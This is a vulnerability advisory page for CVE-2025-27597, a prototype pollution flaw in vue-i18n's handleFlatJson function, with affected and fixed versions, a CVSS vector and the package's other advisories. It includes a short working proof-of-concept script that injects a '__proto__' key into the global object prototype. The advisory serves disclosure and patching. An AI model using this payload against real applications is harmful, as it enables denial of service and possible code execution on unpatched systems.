High

Vue I18n Allows Prototype Pollution in `handleFlatJson`

  • Disclosed: 07.03.2025
  • Updated: 11.10.2026 10:22

Vulnerability type: Prototype Pollution

Vulnerability Location(s):

js
# v9.1
node_modules/@intlify/message-resolver/index.js

# v9.2 or later
node_modules/@intlify/vue-i18n-core/index.js

Description:

The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

bash
// install the package with the latest version
~$ npm install @intlify/message-resolver@9.1.10
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}
js
// poc.js
(async () => {
    const lib = await import('@intlify/message-resolver');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.__proto__));
    try {
        // for multiple functions, uncomment only one for each execution.
        lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.__proto__));
    delete Object.prototype.pollutedKey;
})();

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @intlify/core >= 9.1.0, < 9.1.11 9.1.11
npm package @intlify/core-base >= 9.1.0, < 9.1.11 9.1.11
npm package @intlify/message-resolver >= 9.1.0, < 9.1.11 9.1.11
npm package @intlify/vue-i18n-core >= 9.2.0, < 9.14.3, >= 10.0.0-alpha.1, < 10.0.6, >= 11.0.0-beta.0, < 11.1.2 9.14.3, 10.0.6, 11.1.2
npm package petite-vue-i18n >= 10.0.0, < 10.0.6, >= 11.0.0-beta.0, < 11.1.2 10.0.6, 11.1.2
npm package vue-i18n >= 9.1.0, < 9.14.3, >= 10.0.0-alpha.1, < 10.0.6, >= 11.0.0-beta.0, < 11.1.2 9.14.3, 10.0.6, 11.1.2

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness (CWE)
CWE-1321
Platform
npm
Package
@intlify/core, @intlify/core-base, @intlify/message-resolver
Disclosed
07.03.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-p2ph-7g93-hw3m - CC BY 4.0

Vulnerability history: vue-i18n

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
4
First → latest
12.2024 07.2025
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 1
  • Medium 3

Disclosures per year

  1. 2024: 2
  2. 2025: 2
  3. 2026: 0
  1. Medium CVE-2025-53892 >= 9.0.0, < 9.14.5, >= 10.0.0, < 10.0.8, >= 11.0.0, < 11.1.10 9.14.5, 10.0.8, 11.1.10
  2. Vue I18n Allows Prototype Pollution in `handleFlatJson` this entry
    High CVE-2025-27597 >= 9.1.0, < 9.14.3, >= 10.0.0-alpha.1, < 10.0.6, >= 11.0.0-beta.0, < 11.1.2 9.14.3, 10.0.6, 11.1.2
  3. Medium CVE-2024-52810 >= 9.7.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5
  4. Medium CVE-2024-52809 >= 9.3.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5

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